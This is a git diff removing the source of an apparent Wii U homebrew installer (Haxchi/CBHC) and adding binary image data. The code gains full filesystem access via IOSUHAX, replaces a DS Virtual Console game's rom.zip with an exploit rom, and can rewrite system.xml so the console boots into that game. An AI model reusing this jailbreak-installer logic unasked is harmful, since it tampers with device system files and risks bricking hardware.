println(line++,"MCP hook could not be opened!"); - goto prgEnd; - } - } - - //mount with full permissions - fsaFd = IOSUHAX_FSA_Open(); - if(fsaFd < 0) - { - println(line++,"FSA could not be opened!"); - goto prgEnd; - } -#ifdef CB - if(action == 1) - { - if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "rb", &slcFd) >= 0) - { - //read in system xml file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); - size_t sysXmlSize = stats.size; - char *sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4); - memset(sysXmlBuf, 0, sysXmlSize+1); - fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "system.xml", "utf-8", 0); - //verify title id - int idFound = 0, idCorrect = 0; - xmlNode *root_element = xmlDocGetRootElement(doc); - xmlNode *cur_node = NULL; - for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { - if (cur_node->type == XML_ELEMENT_NODE) { - if(memcmp(cur_node->name, "default_title_id", 17) == 0) - { - if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; - if(memcmp(new_title_id, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++; - idFound++; - } - } - } - xmlFreeDoc(doc); - MEMBucket_free(sysXmlBuf); - if(idFound != 1) - println(line++,"default_title_id missing!"); - else if(idCorrect != 1) - println(line++,"default_title_id not set to selected DS VC!"); - else - { - if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "rb", &slcFd) >= 0) - { - //read in system xml file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); - size_t sysXmlSize = stats.size; - sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4); - memset(sysXmlBuf, 0, sysXmlSize+1); - fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "syshax.xml", "utf-8", 0); - //verify title id - int idFound = 0, idCorrect = 0; - xmlNode *root_element = xmlDocGetRootElement(doc); - xmlNode *cur_node = NULL; - for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { - if (cur_node->type == XML_ELEMENT_NODE) { - if(memcmp(cur_node->name, "default_title_id", 17) == 0) - { - if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; - if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++; - idFound++; - } - } - } - xmlFreeDoc(doc); - if(idFound != 1) - println(line++,"default_title_id missing!"); - else if(idCorrect != 1) - println(line++,"default_title_id not set to System Menu!"); - else - { - if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "wb", &slcFd) >= 0) - { - println(line++,"Restoring system.xml..."); - fsa_write(fsaFd, slcFd, sysXmlBuf, sysXmlSize); - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - println(line++,"Removed coldboothax!"); - } - } - MEMBucket_free(sysXmlBuf); - } - else - println(line++,"syshax.xml backup not found, aborting!"); - } - } - goto prgEnd; - } -#endif - int ret = IOSUHAX_FSA_Mount(fsaFd, "/dev/sdcard01", sdCardVolPath, 2, (void*)0, 0); - if(ret < 0) - { - println(line++,"Failed to mount SD!"); - goto prgEnd; - } - else - sdMounted = 1; - char path[256]; - sprintf(path,"%s/content/0010/rom.zip",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "rb", &mlcFd) < 0) - { - println(line++,"No already existing rom.zip found in the game!"); - println(line++,"Make sure to re-install your DS title and try again."); - goto prgEnd; - } - else - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing rom.zip..."); - fsa_write(fsaFd, mlcFd, SelectedGame->romPtr, SelectedGame->romSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - - char sdHaxchiPath[256]; -#ifdef CB - sprintf(sdHaxchiPath,"%s/cbhc",sdCardVolPath); -#else - sprintf(sdHaxchiPath,"%s/haxchi",sdCardVolPath); -#endif - char sdPath[256]; - -#ifndef CB - sprintf(sdPath,"%s/config.txt",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t cfgSize = stats.size; - uint8_t *cfgBuf = MEMBucket_alloc(cfgSize,4); - fsa_read(fsaFd, sdFd, cfgBuf, cfgSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - //write to nand - sprintf(path,"%s/content/config.txt",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing config.txt..."); - fsa_write(fsaFd, mlcFd, cfgBuf, cfgSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - //make it readable by game - IOSUHAX_FSA_ChangeMode(fsaFd, path, 0x644); - } - MEMBucket_free(cfgBuf); - } -#endif - - sprintf(sdPath,"%s/title.txt",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t titleSize = stats.size; - xmlChar *titleBuf = MEMBucket_alloc(titleSize+1,4); - memset(titleBuf, 0, titleSize+1); - fsa_read(fsaFd, sdFd, titleBuf, titleSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - sprintf(path,"%s/meta/meta.xml",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "rb", &mlcFd) >= 0) - { - IOSUHAX_FSA_StatFile(fsaFd, mlcFd, &stats); - size_t metaSize = stats.size; - char *metaBuf = MEMBucket_alloc(metaSize,4); - fsa_read(fsaFd, mlcFd, metaBuf, metaSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - //parse doc - xmlDocPtr doc = xmlReadMemory(metaBuf, metaSize, "meta.xml", "utf-8", 0); - //change title - xmlNode *root_element = xmlDocGetRootElement(doc); - xmlNode *cur_node = NULL; - for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { - if (cur_node->type == XML_ELEMENT_NODE) { - if(memcmp(cur_node->name, "longname_", 9) == 0 || memcmp(cur_node->name, "shortname_", 10) == 0) - { - if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; - xmlNodeSetContent(cur_node, titleBuf); - } - } - } - //back to xml - xmlChar *newXml = NULL; - int newSize = 0; - xmlSaveNoEmptyTags = 1; //keeps original style - xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0); - xmlFreeDoc(doc); - if(newXml != NULL && newSize > 0) - { - //libxml2 adds in extra \n at the end - if(newXml[newSize-1] == '\n' && metaBuf[metaSize-1] != '\n') - { - newXml[newSize-1] = '\0'; - newSize--; - } - //write back to nand - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Changing game title..."); - //UTF-8 BOM - char bom[3] = { 0xEF, 0xBB, 0xBF }; - if(memcmp(newXml, bom, 3) != 0 && memcmp(metaBuf, bom, 3) == 0) - fsa_write(fsaFd, mlcFd, bom, 0x03); - fsa_write(fsaFd, mlcFd, newXml, newSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - free(newXml); - } - MEMBucket_free(metaBuf); - } - MEMBucket_free(titleBuf); - } - - sprintf(sdPath,"%s/bootDrcTex.tga",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t bootDrcTexSize = stats.size; - uint8_t *bootDrcTex = MEMBucket_alloc(bootDrcTexSize,4); - fsa_read(fsaFd, sdFd, bootDrcTex, bootDrcTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - //write to nand - sprintf(path,"%s/meta/bootDrcTex.tga",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing bootDrcTex.tga..."); - fsa_write(fsaFd, mlcFd, bootDrcTex, bootDrcTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - MEMBucket_free(bootDrcTex); - } - - sprintf(sdPath,"%s/bootTvTex.tga",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t bootTvTexSize = stats.size; - uint8_t *bootTvTex = MEMBucket_alloc(bootTvTexSize,4); - fsa_read(fsaFd, sdFd, bootTvTex, bootTvTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - //write to nand - sprintf(path,"%s/meta/bootTvTex.tga",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing bootTvTex.tga..."); - fsa_write(fsaFd, mlcFd, bootTvTex, bootTvTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - MEMBucket_free(bootTvTex); - } - - sprintf(sdPath,"%s/iconTex.tga",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t iconTexSize = stats.size; - uint8_t *iconTex = MEMBucket_alloc(iconTexSize,4); - fsa_read(fsaFd, sdFd, iconTex, iconTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - //write to nand - sprintf(path,"%s/meta/iconTex.tga",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing iconTex.tga..."); - fsa_write(fsaFd, mlcFd, iconTex, iconTexSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - MEMBucket_free(iconTex); - } - - sprintf(sdPath,"%s/bootSound.btsnd",sdHaxchiPath); - if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0) - { - //read in sd file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, sdFd, &stats); - size_t bootSoundSize = stats.size; - uint8_t *bootSound = MEMBucket_alloc(bootSoundSize,4); - fsa_read(fsaFd, sdFd, bootSound, bootSoundSize); - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - sdFd = -1; - //write to nand - sprintf(path,"%s/meta/bootSound.btsnd",SelectedGame->path); - if(IOSUHAX_FSA_OpenFile(fsaFd, path, "wb", &mlcFd) >= 0) - { - println(line++,"Writing bootSound.btsnd..."); - fsa_write(fsaFd, mlcFd, bootSound, bootSoundSize); - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - mlcFd = -1; - } - MEMBucket_free(bootSound); - } - -#ifdef CB - if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "rb", &slcFd) >= 0) - { - //read in system xml file - fileStat_s stats; - IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats); - size_t sysXmlSize = stats.size; - char *sysXmlBuf = MEMBucket_alloc(sysXmlSize+1,4); - memset(sysXmlBuf, 0, sysXmlSize+1); - fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize); - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "system.xml", "utf-8", 0); - //change default title id - int idFound = 0, idCorrect = 0; - xmlNode *root_element = xmlDocGetRootElement(doc); - xmlNode *cur_node = NULL; - for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { - if (cur_node->type == XML_ELEMENT_NODE) { - if(memcmp(cur_node->name, "default_title_id", 17) == 0) - { - if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; - if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++; - idFound++; - } - } - } - if(idFound != 1) - println(line++,"default_title_id missing!"); - else if(idCorrect != 1) - println(line++,"default_title_id not set to System Menu!"); - else - { - int xmlBackedUp = 0; - if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "rb", &slcFd) < 0) - { - //write syshax.xml - if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "wb", &slcFd) >= 0) - { - println(line++,"Writing syshax.xml..."); - fsa_write(fsaFd, slcFd, sysXmlBuf, sysXmlSize); - xmlBackedUp = 1; - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - } - } - else - { - println(line++,"syshax.xml already found, skipping..."); - xmlBackedUp = 1; - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - } - if(xmlBackedUp == 0) - println(line++,"Failed to back up system.xml!"); - else - { - idFound = 0, idCorrect = 0; - root_element = xmlDocGetRootElement(doc); - cur_node = NULL; - for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) { - if (cur_node->type == XML_ELEMENT_NODE) { - if(memcmp(cur_node->name, "default_title_id", 17) == 0) - { - if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue; - if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) - { - xmlNodeSetContent(cur_node, (xmlChar*)new_title_id); - idCorrect++; - } - idFound++; - } - } - } - if(idFound != 1) - println(line++,"default_title_id missing!"); - else if(idCorrect != 1) - println(line++,"default_title_id not set to System Menu!"); - else - { - //back to xml - xmlChar *newXml = NULL; - int newSize = 0; - xmlSaveNoEmptyTags = 0; //yep, different from meta.xml style - xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0); - xmlFreeDoc(doc); - if(newXml != NULL && newSize > 0) - { - //libxml2 adds in extra \n at the end - if(newXml[newSize-1] == '\n' && sysXmlBuf[sysXmlSize-1] != '\n') - { - newXml[newSize-1] = '\0'; - newSize--; - } - //write back to nand - if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "wb", &slcFd) >= 0) - { - println(line++,"Writing system.xml..."); - //UTF-8 BOM - char bom[3] = { 0xEF, 0xBB, 0xBF }; - if(memcmp(newXml, bom, 3) != 0 && memcmp(sysXmlBuf, bom, 3) == 0) - fsa_write(fsaFd, slcFd, bom, 0x03); - fsa_write(fsaFd, slcFd, newXml, newSize); - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - slcFd = -1; - } - free(newXml); - } - } - } - } - MEMBucket_free(sysXmlBuf); - } - println(line++,"Done installing CBHC!"); -#else - println(line++,"Done installing Haxchi!"); -#endif - -prgEnd: - if(tList) //cant be in MEMBucket - free(tList); - if(gAvail) - MEMBucket_free(gAvail); - //close down everything fsa related - if(fsaFd >= 0) - { - if(slcFd >= 0) - IOSUHAX_FSA_CloseFile(fsaFd, slcFd); - if(mlcFd >= 0) - IOSUHAX_FSA_CloseFile(fsaFd, mlcFd); - if(sdFd >= 0) - IOSUHAX_FSA_CloseFile(fsaFd, sdFd); - if(sdMounted) - IOSUHAX_FSA_Unmount(fsaFd, sdCardVolPath, 2); - if(mcp_hook_fd >= 0) - { - if(IOSUHAX_FSA_FlushVolume(fsaFd, "/vol/storage_mlc01") == 0) - println(line++, "Flushed NAND Cache!"); - } - IOSUHAX_FSA_Close(fsaFd); - } - //close out iosuhax - if(mcp_hook_fd >= 0) - MCPHookClose(); - else - IOSUHAX_Close(); - sleep(5); - //will do IOSU reboot - OSForceFullRelaunch(); - SYSLaunchMenu(); - OSScreenEnableEx(0, 0); - OSScreenEnableEx(1, 0); - MEMBucket_free(screenBuffer); - memoryRelease(); - return EXIT_RELAUNCH_ON_LOAD; -} diff --git a/installer/src/main.h b/installer/src/main.h deleted file mode 100644 index 0ee1b7b..0000000 --- a/installer/src/main.h +++ /dev/null @@ -1,20 +0,0 @@ -//Main.h -#ifndef _MAIN_H_ -#define _MAIN_H_ - -#include "common/types.h" -#include "dynamic_libs/os_functions.h" - -/* Main */ -#ifdef __cplusplus -extern "C" { -#endif - -//! C wrapper for our C++ functions -int Menu_Main(void); - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/installer/src/system/memory.c b/installer/src/system/memory.c deleted file mode 100644 index 91f5392..0000000 --- a/installer/src/system/memory.c +++ /dev/null @@ -1,198 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "dynamic_libs/os_functions.h" -#include "common/common.h" -#include "memory.h" - -#define MEMORY_ARENA_1 0 -#define MEMORY_ARENA_2 1 -#define MEMORY_ARENA_3 2 -#define MEMORY_ARENA_4 3 -#define MEMORY_ARENA_5 4 -#define MEMORY_ARENA_6 5 -#define MEMORY_ARENA_7 6 -#define MEMORY_ARENA_8 7 -#define MEMORY_ARENA_FG_BUCKET 8 - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Memory functions -//! This is the only place where those are needed so lets keep them more or less private -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern unsigned int * pMEMAllocFromDefaultHeapEx; -extern unsigned int * pMEMAllocFromDefaultHeap; -extern unsigned int * pMEMFreeToDefaultHeap; - -extern int (* MEMGetBaseHeapHandle)(int mem_arena); -extern unsigned int (* MEMGetAllocatableSizeForFrmHeapEx)(int heap, int align); -extern void *(* MEMAllocFromFrmHeapEx)(int heap, unsigned int size, int align); -extern void (* MEMFreeToFrmHeap)(int heap, int mode); -extern void *(* MEMAllocFromExpHeapEx)(int heap, unsigned int size, int align); -extern int (* MEMCreateExpHeapEx)(void* address, unsigned int size, unsigned short flags); -extern void *(* MEMDestroyExpHeap)(int heap); -extern void (* MEMFreeToExpHeap)(int heap, void* ptr); - -static int mem1_heap = -1; -static int bucket_heap = -1; - -void memoryInitialize(void) -{ - int mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); - unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); - void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); - if(mem1_memory) - mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); - - int bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); - unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); - void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); - if(bucket_memory) - bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); -} - -void memoryRelease(void) -{ - MEMDestroyExpHeap(mem1_heap); - MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); - mem1_heap = -1; - - MEMDestroyExpHeap(bucket_heap); - MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); - bucket_heap = -1; -} - -//!------------------------------------------------------------------------------------------- -//! wraps -//!------------------------------------------------------------------------------------------- -void *__wrap_malloc(size_t size) -{ - // pointer to a function resolve - return ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size); -} - -void *__wrap_memalign(size_t align, size_t size) -{ - if (align < 4) - align = 4; - - // pointer to a function resolve - return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align); -} - -void __wrap_free(void *p) -{ - // pointer to a function resolve - if(p != 0) - ((void (*)(void *))(*pMEMFreeToDefaultHeap))(p); -} - -void *__wrap_calloc(size_t n, size_t size) -{ - void *p = __wrap_malloc(n * size); - if (p != 0) { - memset(p, 0, n * size); - } - return p; -} - -size_t __wrap_malloc_usable_size(void *p) -{ - //! TODO: this is totally wrong and needs to be addressed - return 0x7FFFFFFF; -} - -void *__wrap_realloc(void *p, size_t size) -{ - void *new_ptr = __wrap_malloc(size); - if (new_ptr != 0) - { - memcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size); - __wrap_free(p); - } - return new_ptr; -} - -//!------------------------------------------------------------------------------------------- -//! reent versions -//!------------------------------------------------------------------------------------------- -void *__wrap__malloc_r(struct _reent *r, size_t size) -{ - return __wrap_malloc(size); -} - -void *__wrap__calloc_r(struct _reent *r, size_t n, size_t size) -{ - return __wrap_calloc(n, size); -} - -void *__wrap__memalign_r(struct _reent *r, size_t align, size_t size) -{ - return __wrap_memalign(align, size); -} - -void __wrap__free_r(struct _reent *r, void *p) -{ - __wrap_free(p); -} - -size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p) -{ - return __wrap_malloc_usable_size(p); -} - -void *__wrap__realloc_r(struct _reent *r, void *p, size_t size) -{ - return __wrap_realloc(p, size); -} - -//!------------------------------------------------------------------------------------------- -//! some wrappers -//!------------------------------------------------------------------------------------------- -void * MEM2_alloc(unsigned int size, unsigned int align) -{ - return __wrap_memalign(align, size); -} - -void MEM2_free(void *ptr) -{ - __wrap_free(ptr); -} - -void * MEM1_alloc(unsigned int size, unsigned int align) -{ - if (align < 4) - align = 4; - return MEMAllocFromExpHeapEx(mem1_heap, size, align); -} - -void MEM1_free(void *ptr) -{ - MEMFreeToExpHeap(mem1_heap, ptr); -} - -void * MEMBucket_alloc(unsigned int size, unsigned int align) -{ - if (align < 4) - align = 4; - return MEMAllocFromExpHeapEx(bucket_heap, size, align); -} - -void MEMBucket_free(void *ptr) -{ - MEMFreeToExpHeap(bucket_heap, ptr); -} diff --git a/installer/src/system/memory.h b/installer/src/system/memory.h deleted file mode 100644 index 59764d0..0000000 --- a/installer/src/system/memory.h +++ /dev/null @@ -1,42 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef __MEMORY_H_ -#define __MEMORY_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -void memoryInitialize(void); -void memoryRelease(void); - -void * MEM2_alloc(unsigned int size, unsigned int align); -void MEM2_free(void *ptr); - -void * MEM1_alloc(unsigned int size, unsigned int align); -void MEM1_free(void *ptr); - -void * MEMBucket_alloc(unsigned int size, unsigned int align); -void MEMBucket_free(void *ptr); - -#ifdef __cplusplus -} -#endif - -#endif // __MEMORY_H_ diff --git a/installer/src/zipList.h b/installer/src/zipList.h deleted file mode 100644 index 1bdd54e..0000000 --- a/installer/src/zipList.h +++ /dev/null @@ -1,29 +0,0 @@ - -#ifndef _ZIPLIST_H_ -#define _ZIPLIST_H_ - -extern u8 animalcrossing_zip[]; extern u32 animalcrossing_zip_size; -extern u8 bigbrainacademy_zip[]; extern u32 bigbrainacademy_zip_size; -extern u8 brainage_zip[]; extern u32 brainage_zip_size; -extern u8 dkjclimber_zip[]; extern u32 dkjclimber_zip_size; -extern u8 explorersofsky_zip[]; extern u32 explorersofsky_zip_size; -extern u8 guardiansigns_zip[]; extern u32 guardiansigns_zip_size; -extern u8 kirby_zip[]; extern u32 kirby_zip_size; -extern u8 kirbycanvascurse_zip[]; extern u32 kirbycanvascurse_zip_size; -extern u8 kirbymassattack_zip[]; extern u32 kirbymassattack_zip_size; -extern u8 mariokartds_zip[]; extern u32 mariokartds_zip_size; -extern u8 masterofdisguise_zip[]; extern u32 masterofdisguise_zip_size; -extern u8 newsmb_zip[]; extern u32 newsmb_zip_size; -extern u8 newsmb_eur_zip[]; extern u32 newsmb_eur_zip_size; -extern u8 partnersintime_zip[]; extern u32 partnersintime_zip_size; -extern u8 pokemonranger_zip[]; extern u32 pokemonranger_zip_size; -extern u8 shadowsofalmia_zip[]; extern u32 shadowsofalmia_zip_size; -extern u8 sfcommand_zip[]; extern u32 sfcommand_zip_size; -extern u8 sm64ds_zip[]; extern u32 sm64ds_zip_size; -extern u8 wwtouched_zip[]; extern u32 wwtouched_zip_size; -extern u8 yoshids_zip[]; extern u32 yoshids_zip_size; -extern u8 yoshitouchandgo_zip[]; extern u32 yoshitouchandgo_zip_size; -extern u8 zeldaph_zip[]; extern u32 zeldaph_zip_size; -extern u8 zeldast_zip[]; extern u32 zeldast_zip_size; - -#endif diff --git a/release/cbhc/bootDrcTex.tga b/release/cbhc/bootDrcTex.tga deleted file mode 100644 index e165f2e3caaa2ed520141bae2f9368302d50ebb0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1229804 zcmcG%>#`=vab3xoc>r{Eb%VfPk&-}(AVG=bqv-kPQO5UP+dVul->C+rp{0d+c=#=| z8WxKlncw-FzxluarvLAM{XhTj|MiEz`A@(5-GBPsPdy@7^HYs1mGY|b8D=w z;uRLl<-Tu_I7j2Ws&=m5{hcHH-A^NE$x4lX#~sz`?|Ldhd9~Wt-~aT}-#bDy-@Np# zlt2BQ#tQyB+eq{G)_eS&MlMCj>VLLPjsLk(3gIJ^oo!U4Q;n*O6OO2D-e;_)ow7{7=7rFS$m`C2)QJ=TZLt=YRVB z&o%w$jNd(#!9V|6qlMpp|7Trg^ZhTf)buZ!{`{9LegDhfN-pJJ{??;pU)SlsXj;bK zOZb=H_r=uX|3Lq@-zBW8rq}D2n*L8INBI6f|DdUqf6$UHG&LQK41W2af6(=>e_K~A zl`P|t|FxEKeQyEH_ka7tFLnLvAHM(FA0_|mAHVr1YWr%bGz4+vGUGZ++qmR~D@uyj zGl*l#*e;1?-^qxtmO2G@M_8G)ZxVHu(oda=-}-S>94nP#u2p&TQ(oD08RS)b7jT4$ zV?i~Lg0ME;VaJiXQ`nV7RZ+R~Vw`{-YN8>WrvcPCLI(-aP15LvZB2SdmIfN!$Y;g_ z^MF9HpA95{eB!#|K%r()pGGcLn*)t`n-Yb2W#7D4UZ9;Z%Zyq{$z z(kl-9Ihv9S@W4OWm!4G_wDC7{;5Rt15D^H308vT<69)e-(?P*+gN2}AabScS3R-VC z1o=dI{~+p{OF&qd7Y-}|`PjgF#e^*s{s|EUd!jfC$dI9wzxL{{romsn1^tl59tLFgMz}mzP1bmW*qzr0R{*GJcD1b5LqBs>{lb0XW3+E zCM;zrae%OR4`V?cUc-bN5zU99yApad@&SI(qnAvHn0YG^7PbH)3glXIpf3B)+itaY zuJ-*6yXV^uOP2Rs?3*qi21_$}cQG$?O-%+)F5peBID92R8nh?t+4D`qA!FW3Z;az`sDCgG_U83Bf-!4S~gVMn0fU zBXk$NAW$6mO>|dFYW+ca8Z`w1X$f8kknW!lF?8qV-l9S4tMzwUf&#*@pOqp#yMufs zi}wof#DPCc&=n!mUj_(i2?i94@#y}!XDFO2ArNR3r0M65-y%aXVf6{sDl`YWG3a(* zfm~^VeBj@JpYg=b zuVgj%jC_)H83pMF7Szc=L`O@|5GbgtX)_^=2io07H2}|bXt271Lc3}bs?j%Nx_n{3 zKYTBiD+9(&eYKI+~b~_=ce|$pLRMGfZUq1MJ~xT7179Yi@8#tXScf@e;FbPK8tU)vH1sn<;yQinHYoOU<{8 zd%9(%AV@+5gn$Zd(6iS!_MjZ<7-kS%G;(BTA3|stkO7;%XA3nGEOCg7|})9%O< zLHb_8ro2X&P|;9ok69(cij%z7R3cqdo2OG4VY7O@*(@!4X^2TQmP+G?gFVHM@6nc{R`VYa@ojvnjm{1TX%$Tat&2MDiiK%=0}dErCBUL6qou-KaE_yz5T`V4#Gy7JXH;AalZ`R|9$@gVr=0nU208q7Z}2a_itgwN0(CXD zU>a;VRJ+dnsY6+tjiIjoje>keM^6KLraoDMe+Xtg z0UoP?J%A9>Yfu#L(eCS}pE$7O<~LEF$grrd!7r=#)?d2_?L>n<8un@Lr5~v7pZb34 z5EkHRw5-!%sLx~B*eo1ai$`-@xOw6nVJLVB|ta&U_bQ(r~8LIQ_g>TOfwJy zx1ABph!=hKs5lNJ5GMj)T9RxngC@9_*sZtOS;T>CH&dv!o_>MC|IO- z2r%HM*56!k-2h=;2&4z-o?gh%JwToI^6p;=x%vn=C^+Z8(u@7v12hNH`U40@mXJoD z1c4&Q!G{AeFb9eN1%Vp>$M4nC3kP1hfAspof!+EG_>~LoK2f4^&YI@H^!?HsH0BNX zx%(&g0yf%%5_mb#UBM7wh)!H5VpNc!zHneVe&F8$KeL<~gA4Zloqk}JwDp7lfyT4V 